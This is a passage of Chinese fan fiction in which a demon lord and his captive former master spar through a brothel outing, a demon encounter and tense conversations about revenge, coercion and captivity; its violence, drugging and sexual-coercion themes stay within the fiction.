冰哥已经做了不小的让步,甚至还幻化为稚嫩孩童陪他逛街,买糖葫芦、糖人、面人等凡尘中会令人感到幸福的俗事。 他甚至期待着,沈清秋会主动些,拉着他的手,为他寻一束花、一颗糖、一块玉佩、甚至一支最普通的木簪。 他的及冠礼,于深渊处、魔物环绕中度过。 如果沈清秋稍微表现一下,哪怕是给他折枝桃花,他也会精心养护,珍视的收在怀里、放在心口。 可惜。 这个人,当真冷血无情至极。 无论是威胁、还是讨好,都是一样的……不懂眼色。 “师尊。”冰哥将糖物丢在地上,任它们沾染灰尘,被路人随意踩碎。 明明之前那么珍视,现在却……弃之如敝屐。 “哦?”沈清秋看着面露不虞的少年,姿态慵懒的寻个石头坐下,手撑下巴,淡淡道:“不装了?” “‘师尊’、‘师尊’。为师者,自当被尊重。” “可惜,你这弟子却只想着如何拉人下水,让本不想参与的人陪你演戏。” 沈清秋动作随意,音调更是平淡无波,明明是两人间的恩怨情仇,却让他剥析的似民间话本。 “你想得别人看中,就该展示能力。你想要旁人欢心,就该努力讨好。你想获得什么,就要看自己拥有什么。” “等价交换,以付出求回报。当你想要一个东西的时候,你能拿出什么作交换?” 沈清秋的笑容很浅,目光里满是嘲讽。手中禁咒已起,拥有对抗之力的人,从不畏头畏尾。 他不需要言词激烈的斥责,也不需要且打且退的言语谋算,更不需要软弱无能的哭诉。懒散而淡漠,理智而平静。 无需伪装得高尚无瑕,因为地位与权势,本就是最大的‘美颜’。 沈清秋所依仗的,从来不是曾经的荣耀。当神明被拉下神坛、被世人愚弄,就变成了争名夺利的工具、彰显实力的装饰、发泄恶意的战利品。 “师尊啊。”冰哥无奈的耸耸肩,身形恢复正常:“您总是这么有道理。” “你欲如何?” “去您最爱的场子,把酒言欢,看美人跳舞吧。”冰哥主动递台阶:“这样的赔罪,您可喜欢?” 13.这次,他们不会再互相演戏 第十一章但饮花酒、醉于…美人 美人巷中饮花酒,锦绣被里翻红浪。 沈清秋对于众美环绕十分自然,斜斜的依靠在软榻之上,任由姑娘们柔若无骨的手掌为自己轻柔按摩。 “公子第一次来吗?”美人红唇轻启,将一杯清酒喂给对方:“您这姿态,是花场常客吧?” “说的不错。”冰哥隔着一整个载歌载舞的演出台,挥退身边伺候的佳人:“山上的日子清苦,师尊每隔数日便要下山采风,若非掌门差人寻找,久久都不愿归家。” “而且,据说这个‘习俗’,早在还未成为核心弟子之时,就养成了?” “噗嗤-”美人捂嘴轻笑,剥开一颗荔枝,递与对方唇边:“哪位公子倒是对您了解颇多啊。” 沈清秋就美人手吃下荔枝,吐出核来:“不过是些风流雅事罢了。” 冰哥紧盯着‘近身伺候’的美人,看着她熟谙的喂酒、喂荔枝,以手执锦帕接住沈清秋吐出的核胡,轻柔的为对方擦拭嘴角。 既然沈清秋能接受这种程度的‘亲密’,为何却连与他对坐吃饭、携手作画,都严肃到不苟言笑? 万事万物都不能做对比。 若是沈清秋一贯冷漠平淡,冰哥只会认为他生性如此。可他既然在自己面前能展露柔情,也能接受这种近乎暧昧的‘举动’,却为何,对他抗拒如此? “师尊啊,您猜猜。若是弟子不付账,她们可会‘将你扔出去’?” 沈清秋眼皮略抬,咬下另一位美人送上的糕点,酥脆的渣屑残留于脸颊,被执酒的美人一点点仔细擦去。 “若是公子愿意留下,奴家便是拿出贴己银钱,也要让公子舒舒服服。” “这样的俊俏郎君。莫说住下,便是于我们之中随便选间厢房长留,让我们轮流伺候,也是使得的。” 冰哥:…… 好家伙,一时间也不知道是沈清秋太招女人喜爱,还是这群姑娘一个个过于大胆。 知道的,是沈清秋寻美人相陪;不知道的,还以为是这群美人盯准了一块肉,要每人咬上一口才愿罢休。 ———— 一曲终了,冰哥手持酒壶,晃到沈清秋身边:“师尊,且与弟子对饮一杯?” 沈清秋并不想和男人喝酒,故而当成没听到一般,继续与身边美人打趣。 冰冷的气息自身侧传来,原本笑的芙蓉展颜的莺莺燕燕,瞬间不敢发出声来。 她们常陪在位高权重的达官贵人、放荡不羁的世家公子哥身边,最是清楚一件事——这些人,心情不好,是真的会随机杀人,且无人问责的。 没有人敢用自己的小命,去赌对方会不会因‘风度’而放过她们。 沈清秋看着一瞬间不敢发声、连动作都僵硬到险些跌落的娇弱姑娘们,不满的目光投来,看着前来搅局的家伙。 “师尊。且与弟子喝一杯?” 冰哥的表情很平淡,像是所有情绪都被掩盖在其中,过于复杂的情绪反而显示出某种看不出详情的平静来。 “不喝。” 沈清秋自顾自将头扭回去,从僵硬微笑的美人手中取出酒杯,自斟自饮。 若是平常,他大可说一句“继续奏乐接着舞”。但身侧之人喜怒无常,保不齐这些无辜美人就会被他杀之泄恨。 他只是过来寻欢作乐,连累她们枉送性命,实在不该。 “您不喝,是嫌弃弟子吗?”冰哥手中的酒壶发出不堪重负的‘咯嘣’声,却又被魔气牢牢控住,防止里面的酒水泄露。 碎成渣渣的酒壶,被强行控制成型,盛满了随时可能会破裂溢出的晶莹液体。 像极了——曾经遍体鳞伤、被强行拼接的古怪人偶。 “那么。配上这些人的血,您是否愿意与弟子共饮?” 这是明晃晃的威胁。 连伪装都不屑。 “拿来。” 沈清秋不能拒绝,也无法拒绝。 他可以不在乎自己的性命,也可以不在乎名声。痛苦与选择,从来都逃不掉。 但。 若以这些无辜之人的性命,去成全他的‘任性’、‘不服从’。 那他就不是心怀苍生、惩恶扬善的修真者。 而是为肆意妄为、祸世间的魔头。 他选择不接受威胁,他依旧是高高在上的清冷仙尊。 他选择接受威胁,说明他是心怀慈悲、博爱众人的大能。 既生于人世间,总是不能连累其他人,陪自己作死的。 “您对弟子这般放心,直接便喝个干净吗?” 冰哥看着将杯底展示给他看的沈清秋,眼里闪过一丝满意。 “你会下毒?” “自然不会。” 双方对弈,一方笑意盈盈,达成目的;另一方面色淡然,开始逐客: “你可以滚了。” 沈清秋将酒杯放在桌台,示意旁边的歌舞继续。 能在烟花之所存活下来的,都是人精。 既然双方的针锋相对已结束,自然是需要其他人来缓和氛围的。故而,她们巧笑嫣兮,说着些许杂话,捻闹打趣。 “嗨。”冰哥看着重新热闹起来的场子,推开围绕在沈清秋身边的美人佳丽,坐在立刻端正身姿的沈清秋侧边。 方才此人慵懒斜躺,接受美人的投喂。此刻,却端坐于桌前,就像是要与人相谈论道一样,规矩严肃。 冰哥侧身附在沈清秋耳旁,呼吸打在对方发丝,吹起暧昧粉嫩的腥甜气息。 “弟子虽没下毒,但确实放了些助兴的东西。” “而且。”冰哥轻笑了一下,眼睛亮晶晶的,含着某种恶意的、甜蜜的,期待: “弟子也喝了。” 第十二章夜半出门,会遇见女妖呦 月上柳梢头,人约黄昏后。 歌舞散场时,已二更深(晚上九点到十一点);待到夜半三更、万籁俱寂,城楼,已陷入沉沉的睡梦之中。 两人并排走着,冰哥稍一松眼,沈清秋便被河边柳妖给缠上。 所谓“杨柳扶姿”,真正的柳树修炼成形,纤腰不堪盈盈一握。一身翠绿薄衫,衬得人娇弱无比:“公子,可愿与奴家把酒言欢?” 沈清秋看着碧色衣衫,一时间有些恍惚。声音放柔,温和的劝浪人从良:“夜深了,早些归家。” 柳妖笑的花枝招展,颇为主动的点了点沈清秋的肩膀:“公子是在邀请奴家吗?” “哎。”沈清秋有些无奈的叹口气:“你若是再不回家,怕是回不去了。” 柳妖的动作更加放肆大胆,一举一动风情万种:“公子是担心奴家乐不思蜀吗?” 柳妖的话还没说完,冰哥已一招将妖物打死,看着地上恢复原型的柳枝,对身边人打趣道:“师尊还真招这些女子喜欢。” 沈清秋摇摇头,满是对误入歧途之人的怜悯:“可怜。” “师尊有空感念她们,不如怜惜眼前人?弟子可是替你挡了两波桃花了。” 沈清秋:…… 打扰他与美人花前月下,还告状卖好? “师尊总是对女子这般温柔,却为何对弟子这么冷酷?” 冰哥看着不理睬自己,只自顾自蹲下,去翻看地上的柳枝,眼神闪过不满。跟着蹲下,看着认真研究的人,发挥‘求知若渴’的弟子本分:“师尊可有发现什么?” 沈清秋:“他身上有魔气。” 冰哥、魔尊至尊:“嗯?” “植物修炼成精,身上有妖气是很正常的。但她却有魔气沾染。”而且……这魔气,不仅没有将她的神智泯灭,反而却助她续命修炼。 沈清秋看向冰哥,问询道:“此方世界,修真界与魔界可有结界分开?” 冰哥:“魔界踏入修真界会被灵气压制,轻易不会踏入。” 沈清秋:“那便奇也怪也,她身上的魔气从何而来?” 遇见不同寻常的事情,总是会勾起人的好奇。一般来说,魔气极为狂烈霸道,如柳妖这般、沾染魔气却未化魔,甚至还隐约靠魔气维生,倒是极有研究价值。 毕竟……将一个剧毒之物,转变为有益的可控能源,是件听起来就很有趣的实验。 既起探究之心,必然要去追寻一番。 只是。当追踪术与御剑术无法用出的时候,沈清秋才猛然察觉不对劲。 看着自己右手并起的剑指,心快速的跳了一下。 他似乎。总是会在某些时刻,忘记自己已无修为。 “师尊?” 导致他落魄的刽子手就在身边,而他,却拿对方无能为力。 沈清秋看眼状似无辜、大有‘随时待命’之态的某人,淡淡吩咐:“查看一下魔气从何而来。” “是。”冰哥随手施放一张符箓,召唤心魔剑,一把拉着沈清秋踩在剑面之上。嘴里说着“弟子冒犯了”,实际上却用左手紧紧揽着沈清秋的腰,右手控制前进方向。 “……” 动了动嘴唇,最后沈清秋还是没能拽开强硬揽着自己的手。 带人御剑飞行。似乎,只要对方能站稳,不摔下去就行? 这厮……是故意,还是……刻意? 对方的目的,真是从来不掩饰,并且时时刻刻都要彰显一下存在感。 他感受着身后散发着温度的躯体,以及腰上像钢筋般牵制的手腕,不适应的调整一下姿势,却被对方前进半步,将距离拉得更近。 “别动。” 略带灼热的温度喷洒于沈清秋脖颈,以对方的身高来说,他完成这个‘动作’,需要专门屈膝或弯腰。 声音因距离过于相近而产生颤意,刻意加重的喘息中,是明晃晃的‘勾搭’与‘暧昧’。 而禁锢着他腰部的手,却像是衣服太滑般,总是掉落又抬起。 玛德。喝花酒要闹就算了,现在正御剑飞行呢,千里高空之上,给他搞这出? 是认定了沈清秋毫无退路,所以绝对不会反抗吗? 而且。 怎么就那么巧,他刚被‘带’出门,就遇见了妖魔共同体? 修真界存在某些低等魔物很正常,但妖物的身上却存在不曾‘作害’的魔气,就很奇怪了。 两个截然不同的物种,怎么可能融合于一体?他们之间本就存在天然的生殖隔离。以魔气的暴虐,怎么可能为魔族之外的种族使用? 可那柳枝上有明显的折痕,若非魔气附加,怕早就成了烟灰尘土。此等情况,与现在不知道属于什么分类的沈清秋,太过相像。 将柳妖送到他面前的人,清楚他出门的时间、明白他对女子的照顾,还对他现如今最想知道的事情,都太过了解。甚至可以说是,料定了他必不会看也不看的转身就走。 这般‘面面俱到’,唯有……他身后的,那个人魔杂种,自导自演,刻意为之。 ———— 想要为民除害的侠士还是很多的。甭管是初出茅庐的菜鸡,还是盛名在外的大侠,在深山老林里遇见的几率,都很高。 趁着众人交换消息,沈清秋一个闪身,快速脱离队伍。 是的,两个人怎么不算‘队伍’了?他绝对不是为了甩掉谁,只是单纯如厕迷了路,然后一路向西,走出山林,换个地方生活而已。 只是。人倒霉的时候,当真是喝口水都要咳嗽。他前脚才听不见人群的嬉闹声响,后脚,就被一团黑雾包裹,进入‘快速通道’。 ———— 魔物将面前的人族丢在地上,当做战利品一样好奇的围着观察: “你这凡人好生有趣。明明羸弱至此,却有股气息强行为你续命。尤其是,这股气息于我还有隐隐的压迫感。我有预感,吃掉你,我将修为大进。” 沈清秋看着将脸隐藏在黑雾里,身影有些不成形的魔物,一时间分不清是偶然遇见,还是某人刻意放纵。毕竟…就凭冰哥对他的看管,沈清秋能走出人群外,已是难得。 拍了拍身上的尘土,盘腿坐好,开始打探信息:“你自魔界而来?” 魔物很高兴,这个人族与其他不一样,不仅不害怕他,也不对他喊打喊杀: “我本深渊一野物,数百年前魔尊跌下悬崖,血溅于我。数百年的时间使我生出灵智,既承魔尊赐血之恩,自是要爬出深渊,带着魔尊的怨恨覆灭修真界。” “……” 魔物兴奋的有些手舞足蹈,黑雾之下,隐约露出半张带着岐角的额头,眼里满是中二热血:“每一个魔,都梦想着为魔尊开疆辟土,颠覆世界!” “……” 沈清秋有些无奈,年纪大的人,不是很能理解小年轻的战斗欲。他默默的看着没人捧哏也能‘魔吹’三万字的低等魔物,觉得自己可能已经老了。 等对方的激动劲过去,他看着刚刚平复下来的魔物,将话题转移到对方身上:“你可曾见过‘魔尊’?” 魔物:“数百年前见过,那时的魔尊还有些弱小,打个架要浑身浴血不说,还经常被一众魔物欺负。每日以仇恨为食,嘴里一直念叨着要回去复仇。” “对了,那个人,好像叫……沈什么来着?魔尊几乎无时无刻都要骂他,总说要爬上去之后将对方抽筋扒骨、挫骨扬灰。” 沈清秋:泻药,果然是熟悉的风格、不变的套路。 魔物看着弱小的人族居然敢露出‘对魔尊不感兴趣’的表情,只觉得自己爱豆被人辜负了,他怎么可以不懂哥哥的好? “你这是什么表情,你在怀疑魔族的信仰吗!” 魔物将沈清秋拉起来,一点点给他‘科普’魔尊的‘英勇事迹’。包括并不限于带他们攻打修真界的伪君子们,最终一统仙魔两界,成为世界至尊,享万民崇拜。 沈清秋努力压制抽搐的嘴角,听着曾经发生的过往事迹,发出询问:“你既沾染吸收魔尊的一部分血液,可继承到记忆?” 谈及自己,魔物认真回忆半天,最后给出答案:“存在几分若隐若现的片段。不过大都是被责打辱骂,不算什么好事。” 魔物似是突然惊醒,一脸警惕的看着沈清秋:“你这凡人,不乖乖受死就算了,怎得还问东问西?” 哦。沈清秋了然。那就是,清静峰上发生的事情了。 毕竟这段经历‘有损于’魔尊的风采,继承部分记忆的魔物,又如何会说出口来,踩哥哥的风头、给哥哥的负面新闻刷流量呢~ 只是。既然被他遇见,不妨探索一二,亲身接触一下——魔物们,究竟是什么个性格。 沈清秋看着满身中二魂的魔物,一点也不在乎会殃及自己的提出假设:“若你遇见魔尊想要复仇之人,会如何做?” 魔物想也不想的回答:“折去四肢,挖去五官,令他血液全部流尽,再加以续命之法,令他求生不得、求死不能。” “之后呢?” “丢入不见天日的洞穴深处,再投入蛇虫毒物,啃噬其身躯。待他肉身毁损后拘魂炼化,让他永无宁日。” 沈清秋笑着拍拍手,声音淡淡,神情悠然:“不愧是魔尊之血养出来的魔物。” 魔物毫不犹豫的接受了:“这是对我最好的夸奖。” 第十三章魔族的问候,当真…亲切极了 冰哥终于找寻到魔物所在的山洞,看着悠然摆弄衣袖的沈清秋,刚准备向前问好,便看见对方脸上似笑非笑的神情。以及,那双含着不知名趣味的狭长眼睑。 “师尊。您怎么笑成这样?” 沈清秋将衣摆沾染的灰尘拍干净,神色重归平淡。黝黑的眼珠,因冷漠而显得更加深沉:“洛冰河。有趣吗?” 冰哥:“???”啥玩意? “毁去躯身,炼魂燃魄,才是你该做的。陪我演戏这么久,还没玩够?” 冰哥大为震惊,完全不理解自己错过了什么、对方又得知了什么乱七八糟的东西。怎么就一场打斗的功夫,沈清秋突然变成这样? 冰哥试图询问因果:“您说什么啊?发生了什么?弟子不懂您……” 冰哥话还没说完,魔物已从一旁激动闪现而出,‘咔嚓’一下半跪在冰哥面前,信誓旦旦的表忠心: “尊主!原来他就是您要复仇的‘沈什么’!您且休息一刻,某必撕碎他的四肢,令他神魂永坠无界沉沦,求生不得求死不能!” 话刚说完,魔物还不等冰哥回应,已单手向着沈清秋的脖子发起进攻,欲将他向地上拖去。尤其是,魔物一边作虎扑状飞出,嘴里还念念有词:“我就觉得你不正常,果然我的预感不会出错!” 冰哥:哈? 冰哥有些莫名其妙的看着突然巨变的场景。 沈清秋似笑非笑的神情、冷淡到一点温度也没有的、直白到近乎残忍的话语。 以及,那个不知道从哪冒出来的、看起来脑子有些不太好、但是知道向上位者展示能力的魔物。 怎么看,都是修罗一般的场景,绝对遍地是坑。 只是,当前之急,是防止沈清秋被魔物直接弄死! 这种低等魔物可没什么脑子,行事更是简单狠绝。若沈清秋死在这,冰哥又不知要搞多少灵物才能将人‘救活’了! 冰哥连忙发出一道魔气、将魔物击打在地上,制止魔物的行动。接着从脑海里扒拉半天,愣是想不起来这是个啥品种的魔物,最终问了句极为俗套的招呼:“你是谁?” 魔物看见活着的偶像向自己问话,激动的像是中了几百万的彩票一样。肌肉也不展示了,用近乎瞬移的速度飞到冰哥的脚边,搂着他的裤腿,崇拜夸奖的话语如涌泉般跳出: “尊敬的至尊大人啊,我是您领域下最为渺小不起眼的存在。若非您的仁慈与统辖,我这种弱小魔物如何能存活?” “您是拯救魔界的大英雄,若非您的英勇指导,我们现在还龟缩于环境恶劣的老魔域之中,哪里有如今的繁华?” “某是您几百年前的血液怨念所化,若非您赐予,某现在还是一个只知胡乱吞噬的低等魔物。” 冰哥有些恶寒的抖抖腿,将脚边的魔物踢开,他实在是对这种‘肉麻’的夸奖接受无能:“你说的是我?” 魔物疯狂点头,狂热的崇拜之色使得他脸颊通红,身后未收起的尾巴四处乱打,活像一只大型犬类:“自是您。除了您,还有谁能有如此威力、如此魄力,即便是您的一句提点,都足以令人铭记终身!” “……” 冰哥登临至尊,执掌天下以来,什么人没见过?额,可是对于这种狂热粉,实在是,没见过。 他身居的位置太高了,平日里遇见的也大多是沉稳、内敛之辈。如此跳脱又热情的民众……倒也,别有一番风味。 沈清秋从地上坐起来,饶有趣味的看着两人互动。这世道确实是变了,魔尊称帝的时代,就连低等魔物,也敢与魔族至尊表忠心。 冰哥看着一旁如隐形人般存在的沈清秋,突然想起自己此行的目的,大步向沈清秋走去,边走边解释道:“弟子确实不知他是谁,但他实在热情,弟子有些……束手无策。” 沈清秋摸了摸有些流血的脖颈,魔物的出手毫无保留,即便是还没掐实,凌冽的风刃割出无数细痕,血液已慢慢渗出。 他无所谓的摆摆手,示意自己是个看戏的透明人:“继续演。我爱看。” 魔物感受到沈清秋对魔尊的轻视,瞬间移动到沈清秋面前,将他深深的抵在山洞崖壁里,左手紧握拳头,冷声威胁道: “魔尊对你恭敬,是知书守礼。你不领用就算了,居然还敢这么对魔尊说话!” “哦。”沈清秋看着近在咫尺的拳头,以及身后有些骨裂的脊椎,右眼因疼痛快速眨了一下眼,不怕死的回复道:“可惜了,我说话一贯如此。” 魔物气急,身后魔气凝聚成形,手指收紧,当即便要弄死眼前这个大放厥词的家伙。 冰哥手腕一动,将魔物召唤出的魔气打散大半。他看着外衫已晕开血痕的沈清秋,立刻命令魔物退离。 “咳咳。”沈清秋半跪于地,紧紧捂着咽喉,若是再晚个几瞬,他就可以体验‘身首异处’了。 “师尊。”冰哥将沈清秋扶起,揽着他坐下,语气略带埋怨:“您该跟紧弟子的。” 这是在怪罪沈清秋借人流想偷溜,却被魔物盯上卷走,最后不得不让冰哥四处奔波捞人。 “戏唱完了?”沙哑的声音自快要断掉的声带传出,沈清秋将冰哥推开,径自靠着墙面,缓和呼吸。 少顷,沈清秋苍白的脸上重新附上血色,轻轻的喘息几下,快速闭合了一下眼睛。调整完状态后,再次睁眼。直愣愣的看向冰哥,右手暗自掐诀: “演完了,是不是就要考虑‘复仇’的手段了。” 魔物的想法极为直白,沈清秋刚说‘复仇’,他就上前一步,准备将魔气附上去,吃了这个修真者。 这个人羸弱得像是个毫无反抗之力的凡人,而且还是魔尊的仇人。他吃掉他,不仅能修为大增,还能向魔尊卖个好。这等好事,若不立刻抓住,简直是要半夜起来骂自己蠢的程度! “咳——”周遭被魔气笼罩,带有腐蚀性的气息侵蚀他的鼻腔与咽喉,令他有些喘不上来气。沈清秋艰难的咽口唾沫,笑的极为猖狂:“哈哈哈哈哈。” “你笑什么?”魔物不理解,将死之人,怎能笑的如此瘆人?他表情愤恨,却总归什么也没做,魔尊没吩咐要他死,对方就坚决不能死在自己手里。另外,魔物默默退后半步,生怕被染上了疯病。 沙哑的整体音色里,语气平淡又略带颤抖,其中最令人唏嘘的,是此人即便狼狈至此,也要继续作死拉仇恨: “你们魔尊,演起戏来,当真好看。” “!”魔物再次听到如此大逆不道的话语,恨不得的将手中之人高高举起、猛的摔向地面,接着再一脚踩上去,将敌人压入地底,干脆将其活埋土掩。 “你这厮,自几百年前就对魔尊不好,现在还敢大放厥词。魔尊心善不与你计较,我等自然要为魔尊驱使,将你拆骨剥皮、丢入万虫环绕的魔窟才行!” 魔物一脚踹出,是十成十、毫不收敛的力道,若是踢中,以对方展现的羸弱来看,当即就可以领盒饭。 “是吗。可惜你们魔尊,却并不止想要这些呢。” 沈清秋以胳膊抵挡对方下踩的脚步,快速翻滚躲避,一个鲤鱼打挺,离两人远远的,手中不停掐诀,准备施展禁术。 眼前的凡人,看着明明羸弱不堪却滑手得厉害,魔物在魔尊面前丢了这么大的脸,若是不能将猎物抓住,以后哪里还敢称‘自己乃是魔尊血液赋予神智’? “那就将你挖去眼球、割去耳朵,断掉这条妖言惑众的舌头,除去四肢,制成无法动弹的人彘!” “或者干脆抽魂炼化,让你日日饱受鬼火灼烧之苦,成为魔尊手中最锋利的刀,为魔界开疆辟土,以偿生前之罪!” 魔物看着本来随随便便捏死的玩意,却在真正对打时连对方都衣角摸不到,整个魔越来越暴躁,越说越气,恨不得将知道的刑罚全部用在对方身上才行。 “果真残暴。”沈清秋就像是遛狗一样,将中二期魔物绕的团团转。 而魔物也不出他预料的,嘴里骂骂咧咧,说出不少魔族问候之语。 几番周转,冰哥看着沈清秋悠悠哉的遛弯,纯以步法和闪躲,将低等魔物引得团团转。 这种没脑子的玩意,除了一开始的‘狂热’令冰哥有些新奇。剩下的,便只有‘试探沈清秋隐藏实力’这一个用途了。 而等魔物来来回回却始终抓不到对方,怒而气急,准备开大招直接取沈清秋性命之时,冰哥立刻将魔物拦在沈清秋三尺开外,布下结界,与对方撇清关系: “师尊,您知道的,弟子心悦于您,怎会做如此残忍之事!方才那些都是此低等魔物的胡言乱语,您千万别信。” 魔物累的如同一条哈巴狗,看着面前的结界,心里只有‘臣等正欲死战,陛下为何先降’的愤恨: “尊主,您何必如此卑微!想要什么就自己上,不喜欢就让我吃了他,撕碎他的躯体,看他还能如何!” “闭嘴!”冰哥看着沈清秋脖颈间极为明显的血痕,以及衣衫上的灰尘与血污,一招将魔物打散,连忙冲对方表忠心:“弟子当年入门的一眼,就认定了您,怎敢心生逾越,玷污仙人?” ———— 冰哥说的是真心话。 彼时,他是地上的泥腿子,是期待被仙人挑选的青葱少年,是被仙者光芒笼罩之下的芸芸众生。 仙人们高高在上的坐在至高之位,通身上下,是不容于世般的疏离冷淡。而当他站出来用无情漠然的眼眸扫视地下黑压压的弟子时,就像是世间这一切都与他无关。 冷漠、孤傲、强大、美丽。 即便是阳光的刺眼光辉之下,看不清仙者的真容。单凭如竹般站立的身姿,一身飘逸潇洒的青衣,佐以素白的飘扬发带与万千青丝共舞。都足以证明,传闻中的冰山美人,就算没有那张脸,也依旧令人趋之若鹜。 这是苍穹山第二大峰之主,沈清秋。 那是洛冰河首次瞥见的,与凡人存在之世全然不同的、像是来自另一个至高的世界一般的惊鸿一角。 人无法想象未见之物。不登高山,不知山之高也;不临深渊,不知水之深也。 洛冰河被选中的时候,还以为他要开启惊心动魄的修真之旅。 可惜,他只是一个平平无奇的外门杂役。别说入仙人之眼,便是正常的讲学修炼,都无入门资格。 待他一点点爬上内门,身边逐渐围绕着数位美人时。他又因宁嘤嘤的倾慕,惹恼了当时的清静峰大师兄——明帆。 单独一个明帆不算什么。 可明帆代表的是大师兄,随手一挥是无数小弟,更别说,他身后是峰主沈清秋。 曾经心生向往的仙人,竟选择了这样欺上瞒下、拉帮结派、肆意打压旁人的人为大弟子?! 清静峰内部乱成什么样了,出门还要当心被百战峰套麻袋,这就是传说中的第二大峰?! 苍穹山乃修真界第一大派,行事风格尚且如此,这修真界……是不是没救了? 当冰哥又又又一次被明帆手下的狗腿胖揍后,他终于认清了一件事: 仙人的眼,大概是瞎的吧。 既然这样。那就想方设法,将仙人拉下神坛——挖出看不清事实的眼睛,断去其能反抗的四肢,将淡漠无情的血液全部流尽,看他的血,是否如表现那般,冰冷。 第十四章脚下,本就万丈深渊 “师尊怎能不信弟子!” “嗯。我信。” “您信我!”冰哥眼里猛然闪现亮光,沈清秋的‘我信你’,是他寻找了许多年的残缺。若是他真能与另一个一样,对他报以信赖和温柔,他也可以学习冰妹的! 冰哥飞快的将魔物驱散干净,防止魔气散逸,影响沈清秋的凡人躯体:“您就不该听这魔物妖言惑众,说这些有的没的。” “我信你确实想挖出我的眼睛,断去我的四肢。”沈清秋语气很淡,悠然的坐在地面上,整理衣服上的褶皱。 即便他刚刚被魔物压在地上、丢在墙上,磨出无数血痕,狼狈至极。但他就像是感受不到疼痛似的,完全对伤口不管不顾,语气平淡、声音清雅: “还有没事打上几顿,丢到地牢里,任俘虏自生自灭、腐烂死亡什么的。” “……”冰哥无语。他就说沈清秋怎么可能相信他,原来……是信他的残忍暴虐……这‘信’,还不如‘不信’呢。 “您怎么能这么想弟子!”冰哥委屈,虽然他前面的确实都干了,但是‘任他死亡’这个锅,他坚决不背! “嗯。你还会馋俘虏的身子,将其养成床奴,喜欢就摸摸头,不爽就大刑伺候。” 沈清秋撕开衣服下摆,慢悠悠的将被魔物差点掐断的脖颈包扎好。 接着,沈清秋看了眼面色复杂、欲言又止、却最终无话可说,刻意将脸伪装的柔和又幼态的冰哥,顺便补个刀: “说不定还想玩什么羞耻背德游戏,白日宣y,大庭广众之下折辱,用xx换xx活命之类……” “……”真是靓仔听了都要落泪,这对他的风评也太败坏了些。冰哥有些激动的蹲到沈清秋面前,恶龙咆哮: “弟子在您心中,就这么无耻且没品?!” “啊。你不是吗?”沈清秋难得‘调皮’一下,表情无辜又平淡,音调毫无起伏,就像是在点评其他人对故事般,有些讽刺的笑着: “折断对方能逃跑的一切,毁去对方所重视的一切,用残存的几人命途作枷锁,逼迫对方服从。” “接着希望对方将尊严放在脚下狠狠的践踏,将脸面与灵魂抛之脑后,像条狗一样求活。” “这些,你确定‘你’干不出来?” “……”冰哥觉得咽喉有点痒,下意识退了几步,张嘴想反驳,却也……不知该如何反对。 若…… 若是沈清秋一开始示弱了,或者他不曾像现在这样烈性到恨不得互杀、自杀,以各种禁术对抗、恨不得用灵魂永寂的方式诀别世界。 冰哥。还真…… 嗯。 很难说会不会将他当成可以随意亵玩的床奴,展示实力的战利品。 至于杀掉一堆人,留下几个‘关键人物’,逼沈清秋‘自觉主动献身’; 或者故意找茬,用一些常人根本不可能接受的事情,去逼迫对方接受并忍耐至习以为常。 其中包括甚至不限于——当众羞辱、数人责打、丢入青楼、扔给下人、大刑伺候、折手断脚…… 冰哥很想问一句:‘如果我将您捧为花魁或送上拍卖台,亦或是赏给下人‘把玩’,您会如何?’ 但他也清楚。沈清秋不会回应,甚至连眼神都舍不得赠送一枚。 他看不上弱者,更看不上自甘堕落、无力反抗、在沉默中灭亡的废物。 平日里只要冰哥表现出一丝觊觎恶劣或犯上之意,沈清秋都会极为敏锐的察觉到,并且毫不犹豫的举起武器。 他不会为了谁舞剑,更不会为了所谓‘羁绊’而放弃抵抗,更不是一只能被轻易磨去爪子的小型猎物。 那些为了xx而甘愿屈居人下,为了xx雌伏于对方,为了xx一直沉默、最终失去爆发之力…… 都不可能、沈清秋也不会放任这些发生。 尊严只在剑锋之上,真理只在武力囊括的范围内有效。 早早缴械投降、失去抵抗能力的人。 哪有什么尊严与人格。 不过是,能被随意虐玩的,脚下泥罢了。 ———— 这些。 沈清秋明白。 冰哥,也清楚。 两人无比默契的维护着表面的和平。 冰哥一次次的将人救醒。 而清醒后的沈清秋一次次的、就像重启后的电脑一样,两人尽可能平淡的相处。 接着积攒矛盾,最后爆发、互打互杀,以沈清秋再次陷入昏迷截止。 这个流程周而复始到—— 冰哥以为他真的能将人培养成自己想要的样子。 可惜。 现在看来,依旧没有成功啊。 其实。魔物说的不错。直接将对方扒干净就睡,也不是不可以。 大不了。就是收获一具灵魂凋零的躯体。 只是,他终究是希望对方能主动将衣服脱下,温柔的看着他,以‘爱’的名义亲吻他。 强制的来的东西,是不可能拥有灵魂和心脏的。 他不想要一具傀儡。 更不需要一个行尸走肉。 一个任他百般羞辱都不反驳的沈清秋; 一个被他拖到大庭广众宣泄也不反抗的沈清秋; 一个哪怕被他‘赏’给下人,也不曾自杀、偏要为其他人苟活的沈清秋。 还是他心中的仙人吗。 若是沈清秋真的…… 能被他三言两语就被哄的团团转,被他一怒之下丢到地牢就服软投降,被他一气之下扒干净衣服丢到街上就主动求欢。 这样的人, 只会因丢掉独特性而被早早厌弃,玩弄虐待之后,便是生不如死的绝境。 月亮本该高高在上的挂在天上,将其斩为残缺之后,硬拉拉下神坛,却又指责他不够纯洁冰清,全凭太阳的照射才有光亮。 甚至自诩为“终于将那轮明月摘下,揽入怀抱”——最后,竟发现被玷污的月亮,并非出淤泥而不染的莲花,身上全是污啧不说,性情也恶劣的一批。 接着理直气壮的将其碾落成尘,打压成泥,笑话曾经高高在上的仙人,也……心疼被伪君子所打压的自己。 这样被拉下神坛,滚落满身泥的仙人。 如何配得上,曾经的‘仙尊’之名? 所以。 沈清秋不该投降, 更不该为了谁而隐忍成狗, 更更更不该为了所谓的xx而主动放下心中的傲气和尊严, 去模仿他人。 ———— ———— “怎么办。”冰哥突然笑的很开心,爽朗得像是发现了稀世珍宝。他愉快的走到沈清秋对面,席地而坐,看着对面即便满身血痕,依旧端坐如初的曾经仙人: “弟子好像,更喜欢您了。” “真巧,”沈清秋改换了一下方向,拒绝面前有脏眼的玩意。声音悠悠传来:“恰恰相反。”本尊更厌恶你了。 第十五章美好的,童年幻梦 夜,沈九打了一盆凉水,一边发出‘呲-’的喊痛声,一边暗骂。 他被秋少爷‘买入’秋府已有三个月。 岳七在两个月前曾偷溜进来过,告诉他要去千里之外的苍穹山碰碰运气,说不定能求的仙人帮助,踏上修行之路。 无论如何,岳七都承诺他,一定会回来带他离开。 沈九信了。 每当扛不住的时候,一想到有人正于千里之外,为带他离开而努力,他就觉得,他一定要活,还要活的好好的。 